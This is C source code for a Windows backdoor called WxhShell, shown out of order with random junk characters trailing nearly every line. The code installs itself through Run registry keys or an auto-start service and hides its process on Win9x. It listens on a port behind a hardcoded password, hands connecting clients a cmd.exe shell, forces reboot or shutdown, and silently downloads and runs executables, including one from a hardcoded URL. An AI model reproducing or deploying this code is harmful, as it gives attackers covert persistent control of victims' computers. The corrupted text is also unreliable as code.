    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X1,I  
    if(Boot(SHUTDOWN)) GC<l#3+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XND|h#i8  
    else { PvzcEV  
    closesocket(wsh); r`=+L-!  
    ExitThread(0); s kv GU(G}  
    } \@Ts+7%  
    break; b`(}.r?W  
    } -] LY,M  
  // 获取shell ?fiIwF)  
  case 's': { =MSr/O2  
    CmdShell(wsh); z-BXd  
    closesocket(wsh); $:BKzHmg  
    ExitThread(0); iMAfJ-oN  
    break; )5rb&M}  
  } 6 uv#de  
  // 退出 QFE:tBHe  
  case 'x': { 6O|@xvg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oOnop-z7  
    CloseIt(wsh); .RE:;<|w  
    break; 2^Eg9y'  
    } t\?ik6  
  // 离开 mGtdO/C#B  
  case 'q': { FFl!\y*0z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cIUHa  
    closesocket(wsh); &[_g6OL  
    WSACleanup(); Jk&3%^P{m  
    exit(1); neB\q[k  
    break; eS{!)j_^  
        } k\wW##=v  
  } "76 ]u)  
  } bG7O  
cq5jPZ}  
  // 提示信息 1G"z<v B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;}7Rjl#  
} E08 klC0  
  } "K  ~  
k;2GEa]w  
  return; wZG\>9~  
} FI[A[*fi  
3Q"<<pi!~  
// shell模块句柄 lun#^J  
int CmdShell(SOCKET sock) 1uG"f<TsR  
{ "&%I)e^  
STARTUPINFO si; 0+iu(VbF  
ZeroMemory(&si,sizeof(si)); < nXL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ht7l- AK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 00'%EYO  
PROCESS_INFORMATION ProcessInfo; :X0k]p  
char cmdline[]="cmd"; %WSo b@f8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V\t.3vT  
  return 0; BD68$y  
} @"hb) 8ng  
nePfu G]Q  
// 自身启动模式 5*E]ETo@R  
int StartFromService(void) uvMy^_}L  
{ 0QFS  
typedef struct zxMX Xm;  
{ x%}^hiO<q  
  DWORD ExitStatus; ,">]`|?  
  DWORD PebBaseAddress; 7_%"BVb"  
  DWORD AffinityMask; {`J)j6;  
  DWORD BasePriority; Hv!U| L  
  ULONG UniqueProcessId; a,xycX:U  
  ULONG InheritedFromUniqueProcessId; ks"|}9\%<  
}   PROCESS_BASIC_INFORMATION; S-Wzour,  
tU4s'J  
PROCNTQSIP NtQueryInformationProcess; $RYa6"`  
Q(@U2a8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3cFf#a#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; AZ0;3<FfLp  
H+1-]'g`  
  HANDLE             hProcess; 1s%#$ 7  
  PROCESS_BASIC_INFORMATION pbi; {K <iih  
AB=daie  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;L cVr13J/  
  if(NULL == hInst ) return 0; 9}l33T4T  
.>CPRVuVI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9zZr^{lUl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,.rs(5.z8/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !HrKXy 0{  
l9}3XI.=  
  if (!NtQueryInformationProcess) return 0; q'|rgT  
pczug-nB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lH#u  
  if(!hProcess) return 0; |L-]fjBbF  
K17j$o^6KK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; , 0imiv  
@$lG@I,[  
  CloseHandle(hProcess); <PapskO>  
d^RxQuA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZZ k=E4aae  
if(hProcess==NULL) return 0; U[SaY0Z  
]or>?{4g  
HMODULE hMod; txW{7+,  
char procName[255]; 18~>ZR  
unsigned long cbNeeded; DKne'3pH  
TFH\K{DM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gGr^@=;YC  
|k+8<\  
  CloseHandle(hProcess); ?,p;O  
+,2:g}5  
if(strstr(procName,"services")) return 1; // 以服务启动 )T';qm0w  
RM K"o?  
  return 0; // 注册表启动 eb.O#Y  
} 3x5JFM  
[baiH|5>  
// 主模块 t0o`-d(  
int StartWxhshell(LPSTR lpCmdLine) =o Xsb  
{ ZNf6;%oGG  
  SOCKET wsl; Q o?O:  
BOOL val=TRUE; 6qRx0"qB  
  int port=0; H18Tn!RDS  
  struct sockaddr_in door; d p2F  
#1`-*.u  
  if(wscfg.ws_autoins) Install(); C 'v+f=  
\Z]UA&v_  
port=atoi(lpCmdLine); eAXc:222  
v\!Be[ ?  
if(port<=0) port=wscfg.ws_port; Y]NSN-t  
afv~r>q(-  
  WSADATA data; OZx W?wnd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )>.&N[v  
sArhZ[H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y<mej][  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s>0't  
  door.sin_family = AF_INET; T,]7ICF#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "B =  
  door.sin_port = htons(port); }!;s.[y  
?3%` bY+3;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :z4)5= 6M  
closesocket(wsl); q<\,  
return 1; 3AQZRul  
} $]{k+Jf  
lp<g \  
  if(listen(wsl,2) == INVALID_SOCKET) { vV[eWd.o6M  
closesocket(wsl); lLp^Gt^}w(  
return 1; q[HTnx  
} lL{ 5SH<Q  
  Wxhshell(wsl); t *1u[~=  
  WSACleanup(); 5|l* `J)  
<<(wa j  
return 0; "SzdDY6  
8S%52W|  
} MZlk0o2  
9/hrjItV  
// 以NT服务方式启动 .C&ktU4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SF&BbjBE0  
{ *"D3E7AO  
DWORD   status = 0; 5"HV BfFk  
  DWORD   specificError = 0xfffffff; ?*E'^~,H)  
]Bm/eRy"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?mWw@6G,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q8^^H$<Db  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jgbLN/_{  
  serviceStatus.dwWin32ExitCode     = 0; F_;vO%}  
  serviceStatus.dwServiceSpecificExitCode = 0; %%NlTE8*  
  serviceStatus.dwCheckPoint       = 0; zoOaVV&1  
  serviceStatus.dwWaitHint       = 0; >?6&c  
x*?x=^I{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Rn{iaM2Y<  
  if (hServiceStatusHandle==0) return; >+]_5qc  
kBYNf =  
status = GetLastError(); Hj:r[/  
  if (status!=NO_ERROR) oN{Z+T :  
{ O) WCW<p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; XLAN Np%E  
    serviceStatus.dwCheckPoint       = 0; FP;Ccl"s  
    serviceStatus.dwWaitHint       = 0; s0DGC  
    serviceStatus.dwWin32ExitCode     = status; jJuW-(/4[  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q.]}]QE   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c8L~S/t  
    return; uM_#  
  } iTag+G4*  
"kMguK}c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wm)#[x #  
  serviceStatus.dwCheckPoint       = 0; bKrhIU[  
  serviceStatus.dwWaitHint       = 0; W6"v)Jc>_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3 |hHR  
} qxFB%KqU  
eU<]o< \Qo  
// 处理NT服务事件,比如:启动、停止 O+?<h{"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Au4yBm u  
{ r41\r,`Dj  
switch(fdwControl) pcT:]d[1)  
{ `t_W2y   
case SERVICE_CONTROL_STOP: 0TGLM#{  
  serviceStatus.dwWin32ExitCode = 0; >S'17D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +RnkJ* l  
  serviceStatus.dwCheckPoint   = 0; J(c{y]`J  
  serviceStatus.dwWaitHint     = 0; YN`H BFH  
  {  A-4h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cfcim.jB  
  } _Y8hb!#(  
  return; ^@qvl%j  
case SERVICE_CONTROL_PAUSE: Y}uCP1v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JMH8MH*  
  break; TiYnc3Bz}J  
case SERVICE_CONTROL_CONTINUE: 7b<je=G6PA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ai nG6Y<O`  
  break; =|I>G?g-  
case SERVICE_CONTROL_INTERROGATE: |lJX 3  
  break; q o\?o    
}; _io+YzS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d!:6[7X6  
} xZ4~Oo@@_'  
Z00+!Tnd  
// 标准应用程序主函数 du)~kU>l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jBU4F~1y  
{ P@,nA41,j  
KuMF^0V%c  
// 获取操作系统版本 |1b_3?e  
OsIsNt=GetOsVer(); &|!7Z4N  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pek%08VSEU  
wi4=OU1L)a  
  // 从命令行安装 1RK=,Wx  
  if(strpbrk(lpCmdLine,"iI")) Install(); =li|  
'g$(QvGF 9  
  // 下载执行文件 4\6N~P86  
if(wscfg.ws_downexe) { _cc#Qlw 7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s VJ!FC  
  WinExec(wscfg.ws_filenam,SW_HIDE); *e-A6S h  
} emdoA:w+   
IRn2 |  
if(!OsIsNt) { _>9.v%5cs(  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ti'}MC+0  
HideProc(); -u? S=h}  
StartWxhshell(lpCmdLine); !!Aj<*%  
} |7X:TfJ  
else `;)\u  
  if(StartFromService()) ik!..9aB  
  // 以服务方式启动 " t7M3i_  
  StartServiceCtrlDispatcher(DispatchTable); LxpuhvIO  
else xA9:*>+>  
  // 普通方式启动  >lBD<;T  
  StartWxhshell(lpCmdLine); (HSgEs1d  
aBNZdX]vzO  
return 0; :%sXO  
} D5:{fWVsV/  
jLpc Zb,  
de>v  
"R3d+p  
=========================================== kI:}| _  
qQ0cJIISb\  
\mV'mZ9>  
4E+hRKuo,  
_L@2_#h!  
,2j.<g&   
" 5vw{b?  
^|TG$`M(w  
#include <stdio.h> xCYE B}o9r  
#include <string.h> Gkp< o  
#include <windows.h> k iRa+w:  
#include <winsock2.h> CYKr\DA  
#include <winsvc.h> jiYmb8Q4D  
#include <urlmon.h> ZKXo-~=>  
!>>f(t4  
#pragma comment (lib, "Ws2_32.lib") .VkbYK  
#pragma comment (lib, "urlmon.lib") Dgx8\~(E'  
J]q%gcM  
#define MAX_USER   100 // 最大客户端连接数 7{xh8#m  
#define BUF_SOCK   200 // sock buffer k<cgO[m   
#define KEY_BUFF   255 // 输入 buffer l2&`J_"  
# hlCs  
#define REBOOT     0   // 重启 ^k Cn*&  
#define SHUTDOWN   1   // 关机 aM{xdTYaU  
V=lfl1Ev0J  
#define DEF_PORT   5000 // 监听端口 *b xzCI7b  
> ]8a3x  
#define REG_LEN     16   // 注册表键长度 "3<da*D1  
#define SVC_LEN     80   // NT服务名长度 Zr-U&9.`  
Rcawc Y  
// 从dll定义API JXw^/Y$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~j-cS J3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #Jna6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); HmZ{L +"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uio@r^Xz  
l/Vo-#  
// wxhshell配置信息 @]![o %  
struct WSCFG { bcAvM;  
  int ws_port;         // 监听端口 \'M3|w`f  
  char ws_passstr[REG_LEN]; // 口令 ~u.T-0F  
  int ws_autoins;       // 安装标记, 1=yes 0=no .S%0   
  char ws_regname[REG_LEN]; // 注册表键名 efD)S92  
  char ws_svcname[REG_LEN]; // 服务名 %%Qo2^-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rY p3(k3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }=v)Js  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f}L*uw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Uz7^1.-g4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0v]?6wX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l$YC/ bP  
fd#j Y}  
}; vBsP+K  
YOrrkbJ(  
// default Wxhshell configuration NBF MN%  
struct WSCFG wscfg={DEF_PORT, 8kbY+W%n  
    "xuhuanlingzhe", g/&T[FOr  
    1, t!2(7=P30(  
    "Wxhshell", Vf`7V$sr  
    "Wxhshell", 5BR2?hO4  
            "WxhShell Service", XTd3|Pm  
    "Wrsky Windows CmdShell Service", I"1;|`L~:  
    "Please Input Your Password: ", @&"Pci+-|  
  1, jM&r{^(  
  "http://www.wrsky.com/wxhshell.exe", E( h<$w8s  
  "Wxhshell.exe" TI !a)X  
    }; fi+R2p~vs  
~h"/Tce  
// 消息定义模块 8`b`QtGf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IQ!\w-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *c)uGz'cD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /1 RAAa  
char *msg_ws_ext="\n\rExit."; \V>?Do7  
char *msg_ws_end="\n\rQuit."; +`sv91c  
char *msg_ws_boot="\n\rReboot..."; gt\MS;jMa  
char *msg_ws_poff="\n\rShutdown..."; )I\=BPo|B  
char *msg_ws_down="\n\rSave to "; a,o_`s<  
{,cCEXag%  
char *msg_ws_err="\n\rErr!"; k/03ZxC-  
char *msg_ws_ok="\n\rOK!"; jt@SZI`  
#eN{!Niy&U  
char ExeFile[MAX_PATH]; )9S>Z ZF  
int nUser = 0; }@+NN ?P  
HANDLE handles[MAX_USER]; q\rC5gk >  
int OsIsNt; #XnPsU<J  
Q`#4W3-,  
SERVICE_STATUS       serviceStatus; l_j4DQBRV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cD4 kC>P*  
YUf1N?z  
// 函数声明 kSc{^-<R  
int Install(void); ^ZM0c>ev=l  
int Uninstall(void); 2S8P}$mM  
int DownloadFile(char *sURL, SOCKET wsh); O,<IGO  
int Boot(int flag); O'GG Ti]e  
void HideProc(void); vfB2XVc  
int GetOsVer(void); KvQ,;A  
int Wxhshell(SOCKET wsl); CAT.4GM  
void TalkWithClient(void *cs); !vn1v)6  
int CmdShell(SOCKET sock); ^VT1vu %03  
int StartFromService(void); @h?shW=^  
int StartWxhshell(LPSTR lpCmdLine); &/A 8-:m  
1G7b%yPA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <} jPXEB"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =H8 xSJLh  
4gSH(*}  
// 数据结构和表定义 b.O9ITR  
SERVICE_TABLE_ENTRY DispatchTable[] = J4=_w  
{ 81%8{yn!$"  
{wscfg.ws_svcname, NTServiceMain}, =V97;kq+v  
{NULL, NULL} dJ:MjQG`W  
}; y[@\j9Hq  
Cv)/7vyB8  
// 自我安装 (]*H[)F/  
int Install(void) q4UA]+-*  
{ =N);v\ Q$!  
  char svExeFile[MAX_PATH]; O9(r{Vu7u  
  HKEY key; `Y40w#?uW  
  strcpy(svExeFile,ExeFile); 0)m8)!gj  
LwuF0\  
// 如果是win9x系统,修改注册表设为自启动 @mt0kV9  
if(!OsIsNt) { YHV-|UNF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (!5LW '3B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ( #Z`  
  RegCloseKey(key); xw<OLWW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W/=|/-\]/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +KEkmXZ  
  RegCloseKey(key); E^hHH?w+  
  return 0; k#}g,0@  
    } ?hYqcT[%  
  } !5}l&7:(MN  
} JIO$=+p  
else { #(LfYw.P1V  
O;[9_[  
// 如果是NT以上系统,安装为系统服务 "tS'b+SJ-S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZiFooA  
if (schSCManager!=0) JM.XH7k  
{ 'rb'7=z5  
  SC_HANDLE schService = CreateService RE3Z%;'  
  ( 2h {q h  
  schSCManager, E3/:.t  
  wscfg.ws_svcname, 9^F2$+T[:  
  wscfg.ws_svcdisp, 9H]_4?aX  
  SERVICE_ALL_ACCESS, D~K;~nI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ap\AP{S4  
  SERVICE_AUTO_START, rAQF9O[  
  SERVICE_ERROR_NORMAL, ,%#   
  svExeFile, EA<}[4#jS  
  NULL, Uf*EJ1Ei  
  NULL, n,M)oo1G  
  NULL, ^4v*W;Q  
  NULL, T_<BVM  
  NULL 1+y"i<3)  
  ); Zt3}Z4d  
  if (schService!=0) ?lCd{14Mkh  
  { N?4q  
  CloseServiceHandle(schService); ~<qt%W?  
  CloseServiceHandle(schSCManager); C.!_]Pxs  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ALd;$fd qf  
  strcat(svExeFile,wscfg.ws_svcname); Fs/?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ix DWJ#k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zGcqzYbuA  
  RegCloseKey(key); (3,.3)%`  
  return 0; > ^[z3T  
    } |-2}j2'  
  } IF k  
  CloseServiceHandle(schSCManager); &217l2X /  
} u3tZ[Y2 c  
} |I[7,`C~  
'3l$al:H^  
return 1; $<?X7n^  
} @=]8^?$t 0  
Md; /nJO~{  
// 自我卸载 VU!w!GN]Y  
int Uninstall(void) -[#n+`M  
{ M"^K 0 .  
  HKEY key; yfjXqn[Z4  
iy5R5L 2  
if(!OsIsNt) { WN a0,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ? S=W&  
  RegDeleteValue(key,wscfg.ws_regname); `kBnSio~  
  RegCloseKey(key); i&+w _hD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >N`6;gn*l  
  RegDeleteValue(key,wscfg.ws_regname); _94s(~g:  
  RegCloseKey(key); IvBGpT"(I  
  return 0; *8g<R  
  } Vj^dD9:  
} {gy+3  
} q{4|Kpx@  
else { fJ80tt?r  
%EbiMo ]3B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :9d\Uj,  
if (schSCManager!=0) ZKbDp~  
{ V/#v\*JHFc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CSn<]%GL  
  if (schService!=0) .5tg4%l  
  { X1J;1hRUP  
  if(DeleteService(schService)!=0) { Bmr<O !  
  CloseServiceHandle(schService); ?KN:r E  
  CloseServiceHandle(schSCManager); 0~E 6QhV:  
  return 0; !r&Bn6*  
  } \%_ZV9cKF  
  CloseServiceHandle(schService); r)l`  
  } }#N]0I)JI  
  CloseServiceHandle(schSCManager); o$bUY7_  
} X}JWf<=q  
} 9k2,3It  
Q^h5">P  
return 1; mb\t/p  
} XdIah<F2  
?g  }kb  
// 从指定url下载文件 >2-F2E,  
int DownloadFile(char *sURL, SOCKET wsh) Z^6#4Q]YC  
{ eO4)|tW  
  HRESULT hr; !ng\` |8?  
char seps[]= "/"; bejGfc  
char *token; !;}2F-  
char *file; P\B3 y+)  
char myURL[MAX_PATH]; L~0& Q  
char myFILE[MAX_PATH]; $iJnxqn  
z%2w(&1  
strcpy(myURL,sURL); Kmry=`=A  
  token=strtok(myURL,seps); Yw"P)Zp  
  while(token!=NULL) el@XK}<dr  
  { kV^?p  
    file=token; }$)&{d G  
  token=strtok(NULL,seps); hLA;Bl  
  } Ggd lVi 2  
APHPN:v  
GetCurrentDirectory(MAX_PATH,myFILE); h(:<(o@<  
strcat(myFILE, "\\"); VO9f~>`(  
strcat(myFILE, file); ofwQ:0@  
  send(wsh,myFILE,strlen(myFILE),0); qC j*>D  
send(wsh,"...",3,0); ep?:;98|t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0$Ff#8  
  if(hr==S_OK) _g6wQdxT  
return 0; d^aNR Lv  
else Y+|PY? ~  
return 1; %Dyh:h   
Mvof%I  
} r@$B'CsLj  
6&],WGz  
// 系统电源模块 46ChMTt  
int Boot(int flag) c^-YcGwa  
{ xyV]?~7  
  HANDLE hToken; 9.8,q  
  TOKEN_PRIVILEGES tkp; )fCMITq.|  
f'_ S1\  
  if(OsIsNt) { F$ {4X /9n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a!u3 HS-i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R~c1)[[E  
    tkp.PrivilegeCount = 1; Jk*QcEE=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ao*FcrXN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A}4t9|/K6  
if(flag==REBOOT) {  ^@q#$/z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h6FgS9H  
  return 0; :@e\'~7sH  
} %c0z)R~  
else { MgnE-6_c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w a.f![  
  return 0; |uQ[W17^N  
} ^Jtl;Q  
  } LhKY}R  
  else { I =b'j5c  
if(flag==REBOOT) { <UK5eVQn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ld~4nc$H8  
  return 0; pX]21&F  
} ?H0m<jO8~  
else { NEg>lIu<~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) IDmsz  
  return 0; ^je528%H  
} KL~AzLI  
} `t9.xB#Z  
b6Xi  
return 1; nk>8SW^  
} {9{J^@@  
$O]^Xm3{@  
// win9x进程隐藏模块 g 2#F_  
void HideProc(void) M\jB)@)  
{ %(NN *o9"q  
H oS|f0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5%qH 7[dx  
  if ( hKernel != NULL ) \!7*(&yly  
  { 7uA\&/ ,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '{W3j^m7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KT%{G8Y@M  
    FreeLibrary(hKernel); KE#$+,?  
  } J;HkTT   
S ]b xQa+  
return; N.n1<  
} H\f/n`@,G  
m|`VJ 0  
// 获取操作系统版本  I9Om#m  
int GetOsVer(void) P09,P  
{ hqWbp*  
  OSVERSIONINFO winfo; nO}$ 76*'0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lG < yJ~{  
  GetVersionEx(&winfo); ` Rsl] GB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'M lXnHxt  
  return 1; k?n]ZNlT  
  else 8iOO1I?+  
  return 0; s%bUgO%&  
} cyHhy_~R  
u:eW0Ows"  
// 客户端句柄模块 [^Q&suy  
int Wxhshell(SOCKET wsl) .CvFE~  
{ +|M{I= 8  
  SOCKET wsh; ?0m?7{  
  struct sockaddr_in client; u<C $'V  
  DWORD myID; h/{8bC@bi  
Bf+^O)Ns^  
  while(nUser<MAX_USER) <YSg~T  
{ ,.q8Xf  
  int nSize=sizeof(client); [Q=4P*G}X  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m"q/,}DR  
  if(wsh==INVALID_SOCKET) return 1; }eI`Qg  
pbFYiu+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e-jw^   
if(handles[nUser]==0) " C&x ,Ic  
  closesocket(wsh); IF^[^^v+H  
else dGa@<hg  
  nUser++; %/X2 l  
  } .2/,XwIr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !b'IfDp[-!  
^}tL nF  
  return 0; 4xpj<  
} h9U+ %=^O  
H[Cj7{V  
// 关闭 socket 3 ^pYC K%  
void CloseIt(SOCKET wsh) =J`gGDhGY-  
{ s v6INe:  
closesocket(wsh); .dt#2a_5q  
nUser--; d~3GV(M  
ExitThread(0); u9 %;{:]h  
} 3m3 EXz  
MHGjvSx  
// 客户端请求句柄 2S'AIuIew  
void TalkWithClient(void *cs) ~U/8 @gR  
{ e7h\(`J0lj  
H a90  
  SOCKET wsh=(SOCKET)cs; TdNsyr}JG  
  char pwd[SVC_LEN]; W.z$a.<(rF  
  char cmd[KEY_BUFF]; fHLFeSfH  
char chr[1]; aQxe)  
int i,j; A}gYcc85Z  
3V"dG1?  
  while (nUser < MAX_USER) { q$3HvZP  
kGruo5A  
if(wscfg.ws_passstr) { h<GyplG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nhp)yW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x Ridc^  
  //ZeroMemory(pwd,KEY_BUFF); %;'~%\|dZM  
      i=0; B%)zGTp6  
  while(i<SVC_LEN) { Q Xsfp  
+BU0 6lLD  
  // 设置超时 ysL0hwir  
  fd_set FdRead; j-j'phK  
  struct timeval TimeOut; RFhU#  
  FD_ZERO(&FdRead); gYRqqV  
  FD_SET(wsh,&FdRead); MPqY?KF  
  TimeOut.tv_sec=8; JN-D/s  
  TimeOut.tv_usec=0; N&x@_t""   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5 Xk~,%-C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #j\*Lc"Ur:  
sYl&Q.\q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $U\!q@'$  
  pwd=chr[0]; A&D2T  
  if(chr[0]==0xd || chr[0]==0xa) { o`oRG)QC  
  pwd=0; 3D{82*&  
  break; [kVpzpGr  
  } b?sA EU;  
  i++; ="/R5fp  
    } P0a>+^:%  
"r:H5) !  
  // 如果是非法用户,关闭 socket (MZ A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MacL3f  
} [O.LUR;  
PY[S z=[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /,=Wy"0TJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e!TG< (S  
=ltbSf7  
while(1) { TXA. 6e  
pZyb  
  ZeroMemory(cmd,KEY_BUFF); GjG{qR  
c& 9+/JYMo  
      // 自动支持客户端 telnet标准   [3Wsc`Q  
  j=0; rOs)B21/  
  while(j<KEY_BUFF) { u?F7 L8q]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B.h0" vJ  
  cmd[j]=chr[0]; mvUVy1-c  
  if(chr[0]==0xa || chr[0]==0xd) { @hE7r-}]  
  cmd[j]=0; kxcgOjrmI  
  break; %Y#[% ~|(  
  } x& mz-  
  j++;  "Nk`RsW  
    } T3=-UYx]  
|:!E HFr  
  // 下载文件 Fcu Eeca  
  if(strstr(cmd,"http://")) { %:yHMEG]'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;}UIj{sj*  
  if(DownloadFile(cmd,wsh)) 8Sd?b5|G~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); " 8~f  
  else V#n?&-{V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3C E 39W  
  }  r*~n`  
  else { ' [7C~r{%  
>[A6 5q'  
    switch(cmd[0]) { Om&{4a\  
  dVY(V&p  
  // 帮助 Q' OuZKhA  
